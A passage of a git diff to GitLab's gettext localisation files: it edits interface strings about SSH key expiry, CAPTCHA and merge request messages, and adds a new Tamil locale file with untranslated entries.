+msgstr ""
+
+msgid "WikiPage|Update %{pageTitle}"
msgstr ""
msgid "WikiPage|Write your content or drag files here…"
@@ -33865,9 +34695,6 @@ msgstr ""
msgid "Wiki|Create New Page"
msgstr ""
-msgid "Wiki|Create page"
-msgstr ""
-
msgid "Wiki|Created date"
msgstr ""
@@ -33880,9 +34707,6 @@ msgstr ""
msgid "Wiki|Page history"
msgstr ""
-msgid "Wiki|Page title"
-msgstr ""
-
msgid "Wiki|Page version"
msgstr ""
@@ -33943,6 +34767,9 @@ msgstr ""
msgid "Write a comment…"
msgstr ""
+msgid "Write a description or drag your files here…"
+msgstr ""
+
msgid "Write milestone description..."
msgstr ""
@@ -34099,6 +34926,12 @@ msgstr ""
msgid "You can create a new one or check them in your %{pat_link_start}personal access tokens%{pat_link_end} settings"
msgstr ""
+msgid "You can create a new one or check them in your %{ssh_key_link_start}SSH keys%{ssh_key_link_end} settings."
+msgstr ""
+
+msgid "You can create a new one or check them in your SSH keys settings %{ssh_key_link}."
+msgstr ""
+
msgid "You can create a new one or check them in your personal access tokens settings %{pat_link}"
msgstr ""
@@ -34240,6 +35073,9 @@ msgstr ""
msgid "You do not have permission to access deployment frequencies"
msgstr ""
+msgid "You do not have permission to access dora metrics."
+msgstr ""
+
msgid "You do not have permission to leave this %{namespaceType}."
msgstr ""
@@ -34324,9 +35160,6 @@ msgstr ""
msgid "You have insufficient permissions to create an HTTP integration for this project"
msgstr ""
-msgid "You have insufficient permissions to create an on-call rotation for this project"
-msgstr ""
-
msgid "You have insufficient permissions to create an on-call schedule for this project"
msgstr ""
@@ -34363,12 +35196,6 @@ msgstr ""
msgid "You have successfully purchased a %{plan} plan subscription for %{seats}. You’ll receive a receipt via email."
msgstr ""
-msgid "You haven't added any issues to your project yet"
-msgstr ""
-
-msgid "You haven't selected any issues yet"
-msgstr ""
-
msgid "You left the \"%{membershipable_human_name}\" %{source_type}."
msgstr ""
@@ -34402,7 +35229,7 @@ msgstr ""
msgid "You must select a stack for configuring your cloud provider. Learn more about"
msgstr ""
-msgid "You must set up incoming email before it becomes active."
+msgid "You must solve the CAPTCHA in order to submit"
msgstr ""
msgid "You must upload a file with the same file name when dropping onto an existing design."
@@ -34417,9 +35244,6 @@ msgstr ""
msgid "You need permission."
msgstr ""
-msgid "You need to be logged in."
-msgstr ""
-
msgid "You need to register a two-factor authentication app before you can set up a device."
msgstr ""
@@ -34603,12 +35427,18 @@ msgstr ""
msgid "Your Public Email will be displayed on your public profile."
msgstr ""
+msgid "Your SSH key has expired"
+msgstr ""
+
msgid "Your SSH key was deleted"
msgstr ""
msgid "Your SSH keys (%{count})"
msgstr ""
+msgid "Your SSH keys with the following fingerprints has expired:"
+msgstr ""
+
msgid "Your To-Do List"
msgstr ""
@@ -34729,6 +35559,9 @@ msgstr ""
msgid "Your license is valid from"
msgstr ""
+msgid "Your license was successfully synced."
+msgstr ""
+
msgid "Your license will be included in your GitLab backup and will survive upgrades, so in normal usage you should never need to re-upload your %{code_open}.gitlab-license%{code_close} file."
msgstr ""
@@ -34822,7 +35655,7 @@ msgstr ""
msgid "[No reason]"
msgstr ""
-msgid "[Unchanged]"
+msgid "[Redacted]"
msgstr ""
msgid "`end_time` should not exceed one month after `start_time`"
@@ -34929,6 +35762,9 @@ msgstr ""
msgid "can't be enabled because signed commits are required for this project"
msgstr ""
+msgid "can't include: %{invalid_storages}"
+msgstr ""
+
msgid "cannot be a date in the past"
msgstr ""
@@ -35231,6 +36067,15 @@ msgstr ""
msgid "created"
msgstr ""
+msgid "created %{timeAgoString} by %{email} via %{user}"
+msgstr ""
+
+msgid "created %{timeAgoString} by %{user}"
+msgstr ""
+
+msgid "created %{timeAgoString} by %{user} in Jira"
+msgstr ""
+
msgid "created %{timeAgo}"
msgstr ""
@@ -35415,6 +36260,9 @@ msgstr ""
msgid "http:"
msgstr ""
+msgid "http://www.example.com"
+msgstr ""
+
msgid "https://your-bitbucket-server"
msgstr ""
@@ -35585,7 +36433,7 @@ msgstr ""
msgid "manual"
msgstr ""
-msgid "math|The math in this entry is taking too long to render and may not be displayed as expected. For performance reasons, math blocks are also limited to %{maxChars} characters. Consider splitting up large formulae, splitting math blocks among multiple entries, or using an image instead."
+msgid "math|Displaying this math block may cause performance issues on this page"
msgstr ""
msgid "math|There was an error rendering this math block"
@@ -35620,13 +36468,10 @@ msgstr ""
msgid "mrWidgetCommitsAdded|1 merge commit"
msgstr ""
-msgid "mrWidgetNothingToMerge|Currently there are no changes in this merge request's source branch. Please push new commits or use a different branch."
-msgstr ""
-
-msgid "mrWidgetNothingToMerge|Interested parties can even contribute by pushing commits if they want to."
+msgid "mrWidgetNothingToMerge|This merge request contains no changes."
msgstr ""
-msgid "mrWidgetNothingToMerge|Merge requests are a place to propose changes you have made to a project and discuss those changes with others."
+msgid "mrWidgetNothingToMerge|Use merge requests to propose changes to your project and discuss them with your team. To make changes, push a commit or edit this merge request to use a different branch. With %{linkStart}CI/CD%{linkEnd}, automatically test your changes before merging."
msgstr ""
msgid "mrWidget| Please restore it or use a different %{missingBranchName} branch"
@@ -35740,9 +36585,6 @@ msgstr ""
msgid "mrWidget|Fork project merge requests do not create merge request pipelines that validate a post merge result unless invoked by a project member."
msgstr ""
-msgid "mrWidget|If the %{branch} branch exists in your local repository, you can merge this merge request manually using the"
-msgstr ""
-
msgid "mrWidget|If the %{missingBranchName} branch exists in your local repository, you can merge this merge request manually using the command line"
msgstr ""
@@ -35893,18 +36735,12 @@ msgstr ""
msgid "mrWidget|You can merge after removing denied licenses"
msgstr ""
-msgid "mrWidget|You can merge this merge request manually using the"
-msgstr ""
-
msgid "mrWidget|Your password"
msgstr ""
msgid "mrWidget|branch does not exist."
msgstr ""
-msgid "mrWidget|command line"
-msgstr ""
-
msgid "mrWidget|into"
msgstr ""
@@ -35935,9 +36771,6 @@ msgstr ""
msgid "must be greater than start date"
msgstr ""
-msgid "must be later than active period start"
-msgstr ""
-
msgid "must contain only valid frameworks"
msgstr ""
@@ -36004,15 +36837,6 @@ msgstr ""
msgid "open issue"
msgstr ""
-msgid "opened %{timeAgoString} by %{email} via %{user}"
-msgstr ""
-
-msgid "opened %{timeAgoString} by %{user}"
-msgstr ""
-
-msgid "opened %{timeAgoString} by %{user} in Jira"
-msgstr ""
-
msgid "opened %{timeAgo}"
msgstr ""
@@ -36290,9 +37114,6 @@ msgstr ""
msgid "to join %{source_name}"
msgstr ""
-msgid "to list"
-msgstr ""
-
msgid "toggle collapse"
msgstr ""
@@ -36338,6 +37159,12 @@ msgstr ""
msgid "v%{version} published %{timeAgo}"
msgstr ""
+msgid "value for '%{storage}' must be an integer"
+msgstr ""
+
+msgid "value for '%{storage}' must be between 0 and 100"
+msgstr ""
+
msgid "verify ownership"
msgstr ""
diff --git a/locale/ta_IN/gitlab.po b/locale/ta_IN/gitlab.po
new file mode 100644
index 00000000000..65d14b825cc
--- /dev/null
+++ b/locale/ta_IN/gitlab.po
@@ -0,0 +1,37241 @@
+msgid ""
+msgstr ""
+"Project-Id-Version: gitlab-ee\n"
+"Report-Msgid-Bugs-To: \n"
+"Last-Translator: \n"
+"Language-Team: Tamil\n"
+"Language: ta_IN\n"
+"MIME-Version: 1.0\n"
+"Content-Type: text/plain; charset=UTF-8\n"
+"Content-Transfer-Encoding: 8bit\n"
+"Plural-Forms: nplurals=2; plural=(n != 1);\n"
+"X-Crowdin-Project: gitlab-ee\n"
+"X-Crowdin-Project-ID: 288872\n"
+"X-Crowdin-Language: ta\n"
+"X-Crowdin-File: /master/locale/gitlab.pot\n"
+"X-Crowdin-File-ID: 6\n"
+"PO-Revision-Date: 2021-04-02 00:08\n"
+
+msgid " %{project_name}#%{issuable_iid} &middot; created %{issuable_created} by %{author} &middot; updated %{issuable_updated}"
+msgstr ""
+
+msgid " %{start} to %{end}"
+msgstr ""
+
+msgid " (from %{timeoutSource})"
+msgstr ""
+
+msgid " Collected %{time}"
+msgstr ""
+
+msgid " Please sign in."
+msgstr ""
+
+msgid " Try to %{action} this file again."
+msgstr ""
+
+msgid " You need to do this before %{grace_period_deadline}."
+msgstr ""
+
+msgid " and"
+msgstr ""
+
+msgid " and "
+msgstr ""
+
+msgid " and %{sliced}"
+msgstr ""
+
+msgid " degraded on %d point"
+msgid_plural " degraded on %d points"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid " improved on %d point"
+msgid_plural " improved on %d points"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid " or "
+msgstr ""
+
+msgid " or %{emphasisStart}!merge request id%{emphasisEnd}"
+msgstr ""
+
+msgid " or %{emphasisStart}#issue id%{emphasisEnd}"
+msgstr ""
+
+msgid " or %{emphasisStart}&epic id%{emphasisEnd}"
+msgstr ""
+
+msgid " or references (e.g. path/to/project!merge_request_id)"
+msgstr ""
+
+msgid "\"%{path}\" did not exist on \"%{ref}\""
+msgstr ""
+
+msgid "\"%{repository_name}\" size (%{repository_size}) is larger than the limit of %{limit}."
+msgstr ""
+
+msgid "\"el\" parameter is required for createInstance()"
+msgstr ""
+
+msgid "%d Approval"
+msgid_plural "%d Approvals"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "%d Other"
+msgid_plural "%d Others"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "%d Package"
+msgid_plural "%d Packages"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "%d Scanned URL"
+msgid_plural "%d Scanned URLs"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "%d URL scanned"
+msgid_plural "%d URLs scanned"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "%d approver"
+msgid_plural "%d approvers"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "%d approver (you've approved)"
+msgid_plural "%d approvers (you've approved)"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "%d changed file"
+msgid_plural "%d changed files"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "%d character remaining"
+msgid_plural "%d characters remaining"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "%d child epic"
+msgid_plural "%d child epics"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "%d code quality issue"
+msgid_plural "%d code quality issues"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "%d comment"
+msgid_plural "%d comments"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "%d comment on this commit"
+msgid_plural "%d comments on this commit"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "%d commit"
+msgid_plural "%d commits"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "%d commit behind"
+msgid_plural "%d commits behind"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "%d commit,"
+msgid_plural "%d commits,"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "%d commits"
+msgstr ""
+
+msgid "%d completed issue"
+msgid_plural "%d completed issues"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "%d contribution"
+msgid_plural "%d contributions"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "%d day"
+msgid_plural "%d days"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "%d epic"
+msgid_plural "%d epics"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "%d error"
+msgid_plural "%d errors"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "%d error found:"
+msgid_plural "%d errors found:"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "%d exporter"
+msgid_plural "%d exporters"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "%d failed"
+msgid_plural "%d failed"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "%d failed security job"
+msgid_plural "%d failed security jobs"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "%d file"
+msgid_plural "%d files"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "%d fixed test result"
+msgid_plural "%d fixed test results"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "%d group"
+msgid_plural "%d groups"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "%d group selected"
+msgid_plural "%d groups selected"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "%d hour"
+msgid_plural "%d hours"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "%d inaccessible merge request"
+msgid_plural "%d inaccessible merge requests"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "%d issue"
+msgid_plural "%d issues"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "%d issue in this group"
+msgid_plural "%d issues in this group"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "%d issue successfully imported with the label"
+msgid_plural "%d issues successfully imported with the label"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "%d layer"
+msgid_plural "%d layers"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "%d merge request"
+msgid_plural "%d merge requests"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "%d merge request that you don't have access to."
+msgid_plural "%d merge requests that you don't have access to."
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "%d metric"
+msgid_plural "%d metrics"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "%d milestone"
+msgid_plural "%d milestones"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "%d minute"
+msgid_plural "%d minutes"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "%d more comment"
+msgid_plural "%d more comments"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "%d open issue"
+msgid_plural "%d open issues"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "%d pending comment"
+msgid_plural "%d pending comments"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "%d personal project will be removed and cannot be restored."
+msgid_plural "%d personal projects will be removed and cannot be restored."
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "%d previously merged commit"
+msgid_plural "%d previously merged commits"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "%d project"
+msgid_plural "%d projects"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "%d project selected"
+msgid_plural "%d projects selected"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "%d request with warnings"
+msgid_plural "%d requests with warnings"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "%d second"
+msgid_plural "%d seconds"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "%d shard selected"
+msgid_plural "%d shards selected"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "%d tag"
+msgid_plural "%d tags"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "%d tag per image name"
+msgid_plural "%d tags per image name"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "%d unassigned issue"
+msgid_plural "%d unassigned issues"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "%d unresolved thread"
+msgid_plural "%d unresolved threads"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "%d vulnerability"
+msgid_plural "%d vulnerabilities"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "%d vulnerability dismissed"
+msgid_plural "%d vulnerabilities dismissed"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "%d vulnerability updated"
+msgid_plural "%d vulnerabilities updated"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "%d warning found:"
+msgid_plural "%d warnings found:"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "%s additional commit has been omitted to prevent performance issues."
+msgid_plural "%s additional commits have been omitted to prevent performance issues."
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "%{actionText} & %{openOrClose} %{noteable}"
+msgstr ""
+
+msgid "%{address} is an invalid IP address range"
+msgstr ""
+
+msgid "%{anchorOpen}Learn more%{anchorClose} about how you can customize / disable registration on your instance."
+msgstr ""
+
+msgid "%{author_link} cloned %{original_issue} to %{new_issue}."
+msgstr ""
+
+msgid "%{author_link} cloned %{original_issue}. You don't have access to the new project."
+msgstr ""
+
+msgid "%{author_link} wrote:"
+msgstr ""
+
+msgid "%{authorsName}'s thread"
+msgstr ""
+
+msgid "%{board_target} not found"
+msgstr ""
+
+msgid "%{codeStart}needs:%{codeEnd} relationships"
+msgstr ""
+
+msgid "%{code_open}Masked:%{code_close} Hidden in job logs. Must match masking requirements."
+msgstr ""
+
+msgid "%{code_open}Protected:%{code_close} Only exposed to protected branches or tags."
+msgstr ""
+
+msgid "%{commit_author_link} authored %{commit_timeago}"
+msgstr ""
+
+msgid "%{completedCount} completed weight"
+msgstr ""
+
+msgid "%{completedCount} of %{count} task completed"
+msgid_plural "%{completedCount} of %{count} tasks completed"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "%{completedWeight} of %{totalWeight} weight completed"
+msgstr ""
+
+msgid "%{containerScanningLinkStart}Container Scanning%{containerScanningLinkEnd} and/or %{dependencyScanningLinkStart}Dependency Scanning%{dependencyScanningLinkEnd} must be enabled. %{securityBotLinkStart}GitLab-Security-Bot%{securityBotLinkEnd} will be the author of the auto-created merge request. %{moreInfoLinkStart}More information%{moreInfoLinkEnd}."
+msgstr ""
+
+msgid "%{cores} cores"
+msgstr ""
+
+msgid "%{count} %{scope} for term '%{term}'"
+msgstr ""
+
+msgid "%{count} LOC/commit"
+msgstr ""
+
+msgid "%{count} approval required from %{name}"
+msgid_plural "%{count} approvals required from %{name}"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "%{count} approvals from %{name}"
+msgstr ""
+
+msgid "%{count} files touched"
+msgstr ""
+
+msgid "%{count} items per page"
+msgstr ""
+
+msgid "%{count} more"
+msgstr ""
+
+msgid "%{count} more assignees"
+msgstr ""
+
+msgid "%{count} more release"
+msgid_plural "%{count} more releases"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "%{count} of %{required} approvals from %{name}"
+msgstr ""
+
+msgid "%{count} of %{total}"
+msgstr ""
+
+msgid "%{count} participant"
+msgid_plural "%{count} participants"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "%{count} related %{pluralized_subject}: %{links}"
+msgstr ""
+
+msgid "%{count} total weight"
+msgstr ""
+
+msgid "%{criticalStart}%{critical} Critical%{criticalEnd} %{highStart}%{high} High%{highEnd} and %{otherStart}%{otherMessage}%{otherEnd}"
+msgstr ""
+
+msgid "%{dashboard_path} could not be found."
+msgstr ""
+
+msgid "%{days} days until tags are automatically removed"
+msgstr ""
+
+msgid "%{deployLinkStart}Use a template to deploy to ECS%{deployLinkEnd}, or use a docker image to %{commandsLinkStart}run AWS commands in GitLab CI/CD%{commandsLinkEnd}."
+msgstr ""
+
+msgid "%{description}- Sentry event: %{errorUrl}- First seen: %{firstSeen}- Last seen: %{lastSeen} %{countLabel}: %{count}%{userCountLabel}: %{userCount}"
+msgstr ""
+
+msgid "%{doc_link_start}Advanced search%{doc_link_end} is disabled since %{ref_elem} is not the default branch; %{default_branch_link_start}search on %{default_branch} instead%{default_branch_link_end}."
+msgstr ""
+
+msgid "%{doc_link_start}Advanced search%{doc_link_end} is enabled."
+msgstr ""
+
+msgid "%{due_date} (Past due)"
+msgstr ""
+
+msgid "%{duration}ms"
+msgstr ""
+
+msgid "%{edit_in_new_fork_notice} Try to cherry-pick this commit again."
+msgstr ""
+
+msgid "%{edit_in_new_fork_notice} Try to create a new directory again."
+msgstr ""
+
+msgid "%{edit_in_new_fork_notice} Try to revert this commit again."
+msgstr ""
+
+msgid "%{edit_in_new_fork_notice} Try to upload a file again."
+msgstr ""
+
+msgid "%{emailPrefix}@company.com"
+msgstr ""
+
+msgid "%{extra} more downstream pipelines"
+msgstr ""
+
+msgid "%{filePath} deleted"
+msgstr ""
+
+msgid "%{firstLabel} +%{labelCount} more"
+msgstr ""
+
+msgid "%{firstMilestoneName} + %{numberOfOtherMilestones} more"
+msgstr ""
+
+msgid "%{global_id} is not a valid ID for %{expected_type}."
+msgstr ""
+
+msgid "%{group_docs_link_start}Groups%{group_docs_link_end} allow you to manage and collaborate across multiple projects. Members of a group have access to all of its projects."
+msgstr ""
+
+msgid "%{group_name} group members"
+msgstr ""
+
+msgid "%{group_name} uses group managed accounts. You need to create a new GitLab account which will be managed by %{group_name}."
+msgstr ""
+
+msgid "%{group_name}&%{epic_iid} &middot; created %{epic_created} by %{author}"
+msgstr ""
+
+msgid "%{hook_type} was deleted"
+msgstr ""
+
+msgid "%{hook_type} was scheduled for deletion"
+msgstr ""
+
+msgid "%{host} sign-in from new location"
+msgstr ""
+
+msgid "%{integrations_link_start}Integrations%{link_end} enable you to make third-party applications part of your GitLab workflow. If the available integrations don't meet your needs, consider using a %{webhooks_link_start}webhook%{link_end}."
+msgstr ""
+
+msgid "%{issuableType} will be removed! Are you sure?"
+msgstr ""
+
+msgid "%{issueType} actions"
+msgstr ""
+
+msgid "%{issuesCount} issues with a limit of %{maxIssueCount}"
+msgstr ""
+
+msgid "%{issuesSize} with a limit of %{maxIssueCount}"
+msgstr ""
+
+msgid "%{itemsCount} issues with a limit of %{maxIssueCount}"
+msgstr ""
+
+msgid "%{labelStart}Actual response:%{labelEnd} %{headers}"
+msgstr ""
+
+msgid "%{labelStart}Assert:%{labelEnd} %{assertion}"
+msgstr ""
+
+msgid "%{labelStart}Class:%{labelEnd} %{class}"
+msgstr ""
+
+msgid "%{labelStart}Crash Address:%{labelEnd} %{crash_address}"
+msgstr ""
+
+msgid "%{labelStart}Crash State:%{labelEnd} %{stacktrace_snippet}"
+msgstr ""
+
+msgid "%{labelStart}Evidence:%{labelEnd} %{evidence}"
+msgstr ""
+
+msgid "%{labelStart}File:%{labelEnd} %{file}"
+msgstr ""
+
+msgid "%{labelStart}Image:%{labelEnd} %{image}"
+msgstr ""
+
+msgid "%{labelStart}Method:%{labelEnd} %{method}"
+msgstr ""
+
+msgid "%{labelStart}Namespace:%{labelEnd} %{namespace}"
+msgstr ""
+
+msgid "%{labelStart}Scan Type:%{labelEnd} %{reportType}"
+msgstr ""
+
+msgid "%{labelStart}Scanner:%{labelEnd} %{scanner}"
+msgstr ""
+
+msgid "%{labelStart}Sent request:%{labelEnd} %{headers}"
+msgstr ""
+
+msgid "%{labelStart}Severity:%{labelEnd} %{severity}"
+msgstr ""
+
+msgid "%{labelStart}Unmodified response:%{labelEnd} %{headers}"
+msgstr ""
+
+msgid "%{label_for_message} unavailable"
+msgstr ""
+
+msgid "%{label_name} %{span_open}will be permanently deleted from %{subject_name}. This cannot be undone.%{span_close}"
+msgstr ""
+
+msgid "%{lets_encrypt_link_start}Let's Encrypt%{lets_encrypt_link_end} is a free, automated, and open certificate authority (CA), that give digital certificates in order to enable HTTPS (SSL/TLS) for websites."
+msgstr ""
+
+msgid "%{level_name} is not allowed in a %{group_level_name} group."
+msgstr ""
+
+msgid "%{level_name} is not allowed since the fork source project has lower visibility."
+msgstr ""
+
+msgid "%{link_start}Learn more%{link_end} about what information is shared with GitLab Inc."
+msgstr ""
+
+msgid "%{link_start}Read more%{link_end} about role permissions"
+msgstr ""
+
+msgid "%{link_start}Remove the %{draft_or_wip_snippet} prefix%{link_end} from the title to allow this merge request to be merged when it's ready."
+msgstr ""
+
+msgid "%{link_start}Start the title with %{draft_snippet} or %{wip_snippet}%{link_end} to prevent a merge request that is a work in progress from being merged before it's ready."
+msgstr ""
+
+msgid "%{listToShow}, and %{awardsListLength} more."
+msgstr ""
+
+msgid "%{location} is missing required keys: %{keys}"
+msgstr ""
+
+msgid "%{lock_path} is locked by GitLab User %{lock_user_id}"
+msgstr ""
+
+msgid "%{markdownDocsLinkStart}Markdown%{markdownDocsLinkEnd} and %{quickActionsDocsLinkStart}quick actions%{quickActionsDocsLinkEnd} are supported"
+msgstr ""
+
+msgid "%{mergeLength}/%{usersLength} can merge"
+msgstr ""
+
+msgid "%{message} showing first %{warnings_displayed}"
+msgstr ""
+
+msgid "%{milestone_name} (Past due)"
+msgstr ""
+
+msgid "%{milestone} (expired)"
+msgstr ""
+
+msgid "%{milliseconds}ms"
+msgstr ""
+
+msgid "%{mrText}, this issue will be closed automatically."
+msgstr ""
+
+msgid "%{name_with_link} has %{percent} or less Shared Runner Pipeline minutes remaining. Once it runs out, no new jobs or pipelines in its projects will run."
+msgstr ""
+
+msgid "%{name_with_link} has run out of Shared Runner Pipeline minutes so no new jobs or pipelines in its projects will run."
+msgstr ""
+
+msgid "%{name} %{status}"
+msgstr ""
+
+msgid "%{name} (Busy)"
+msgstr ""
+
+msgid "%{name} contained %{resultsString}"
+msgstr ""
+
+msgid "%{name} found %{resultsString}"
+msgstr ""
+
+msgid "%{name} is already being used for another emoji"
+msgstr ""
+
+msgid "%{name} is scheduled for %{action}"
+msgstr ""
+
+msgid "%{name}'s avatar"
+msgstr ""
+
+msgid "%{name}(%{url}) has %{percent} or less Shared Runner Pipeline minutes remaining. Once it runs out, no new jobs or pipelines in its projects will run."
+msgstr ""
+
+msgid "%{name}(%{url}) has run out of Shared Runner Pipeline minutes so no new jobs or pipelines in its projects will run."
+msgstr ""
+
+msgid "%{no_of_days} day"
+msgid_plural "%{no_of_days} days"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "%{number_commits_behind} commits behind %{default_branch}, %{number_commits_ahead} commits ahead"
+msgstr ""
+
+msgid "%{oneMonthAgo} - %{today}"
+msgstr ""
+
+msgid "%{oneWeekAgo} - %{today}"
+msgstr ""
+
+msgid "%{oneYearAgo} - %{today}"
+msgstr ""
+
+msgid "%{openOrClose} %{noteable}"
+msgstr ""
+
+msgid "%{openedEpics} open, %{closedEpics} closed"
+msgstr ""
+
+msgid "%{openedIssues} open, %{closedIssues} closed"
+msgstr ""
+
+msgid "%{percentage}%% weight completed"
+msgstr ""
+
+msgid "%{percent}%% complete"
+msgstr ""
+
+msgid "%{percent}%{percentSymbol} complete"
+msgstr ""
+
+msgid "%{placeholder} is not a valid color scheme"
+msgstr ""
+
+msgid "%{placeholder} is not a valid theme"
+msgstr ""
+
+msgid "%{primary} (%{secondary})"
+msgstr ""
+
+msgid "%{ref} cannot be added: %{error}"
+msgstr ""
+
+msgid "%{releases} release"
+msgid_plural "%{releases} releases"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "%{remaining_approvals} left"
+msgstr ""
+
+msgid "%{reportType} %{status}"
+msgstr ""
+
+msgid "%{reportType} detected %{totalStart}%{total}%{totalEnd} potential %{vulnMessage}"
+msgstr ""
+
+msgid "%{reportType} detected %{totalStart}no%{totalEnd} vulnerabilities."
+msgstr ""
+
+msgid "%{retryButtonStart}Try again%{retryButtonEnd} or %{newFileButtonStart}attach a new file%{newFileButtonEnd}."
+msgstr ""
+
+msgid "%{seconds}s"
+msgstr ""
+
+msgid "%{securityScanner} is not enabled for this project. %{linkStart}More information%{linkEnd}"
+msgid_plural "%{securityScanner} are not enabled for this project. %{linkStart}More information%{linkEnd}"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "%{securityScanner} result is not available because a pipeline has not been run since it was enabled. %{linkStart}Run a pipeline%{linkEnd}"
+msgid_plural "%{securityScanner} results are not available because a pipeline has not been run since it was enabled. %{linkStart}Run a pipeline%{linkEnd}"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "%{size} %{unit}"
+msgstr ""
+
+msgid "%{size} GiB"
+msgstr ""
+
+msgid "%{size} KiB"
+msgstr ""
+
+msgid "%{size} MiB"
+msgstr ""
+
+msgid "%{size} bytes"
+msgstr ""
+
+msgid "%{sourceBranch} into %{targetBranch}"
+msgstr ""
+
+msgid "%{spammable_titlecase} was submitted to Akismet successfully."
+msgstr ""
+
+msgid "%{spanStart}at line%{spanEnd} %{errorLine}%{errorColumn}"
+msgstr ""
+
+msgid "%{spanStart}in%{spanEnd} %{errorFn}"
+msgstr ""
+
+msgid "%{startDate} - %{endDate}"
+msgstr ""
+
+msgid "%{start} to %{end}"
+msgstr ""
+
+msgid "%{state} epics"
+msgstr ""
+
+msgid "%{strongStart}Deletes%{strongEnd} source branch"
+msgstr ""
+
+msgid "%{strongStart}Note:%{strongEnd} Once a custom stage has been added you can re-order stages by dragging them into the desired position."
+msgstr ""
+
+msgid "%{strongStart}Tip:%{strongEnd} You can also checkout merge requests locally by %{linkStart}following these guidelines%{linkEnd}"
+msgstr ""
+
+msgid "%{strong_start}%{branch_count}%{strong_end} Branch"
+msgid_plural "%{strong_start}%{branch_count}%{strong_end} Branches"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "%{strong_start}%{commit_count}%{strong_end} Commit"
+msgid_plural "%{strong_start}%{commit_count}%{strong_end} Commits"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "%{strong_start}%{count} approval rule%{strong_end} requires eligible members to approve before merging."
+msgid_plural "%{strong_start}%{count} approval rules%{strong_end} require eligible members to approve before merging."
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "%{strong_start}%{count} eligible member%{strong_end} must approve to merge."
+msgid_plural "%{strong_start}%{count} eligible members%{strong_end} must approve to merge."
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "%{strong_start}%{count} member%{strong_end} must approve to merge. Anyone with role Developer or higher can approve."
+msgid_plural "%{strong_start}%{count} members%{strong_end} must approve to merge. Anyone with role Developer or higher can approve."
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "%{strong_start}%{human_size}%{strong_end} Files"
+msgstr ""
+
+msgid "%{strong_start}%{human_size}%{strong_end} Storage"
+msgstr ""
+
+msgid "%{strong_start}%{release_count}%{strong_end} Release"
+msgid_plural "%{strong_start}%{release_count}%{strong_end} Releases"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "%{strong_start}%{tag_count}%{strong_end} Tag"
+msgid_plural "%{strong_start}%{tag_count}%{strong_end} Tags"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "%{tabname} changed"
+msgstr ""
+
+msgid "%{tags} tag per image name"
+msgstr ""
+
+msgid "%{tags} tags per image name"
+msgstr ""
+
+msgid "%{tag}-%{evidence}-%{filename}"
+msgstr ""
+
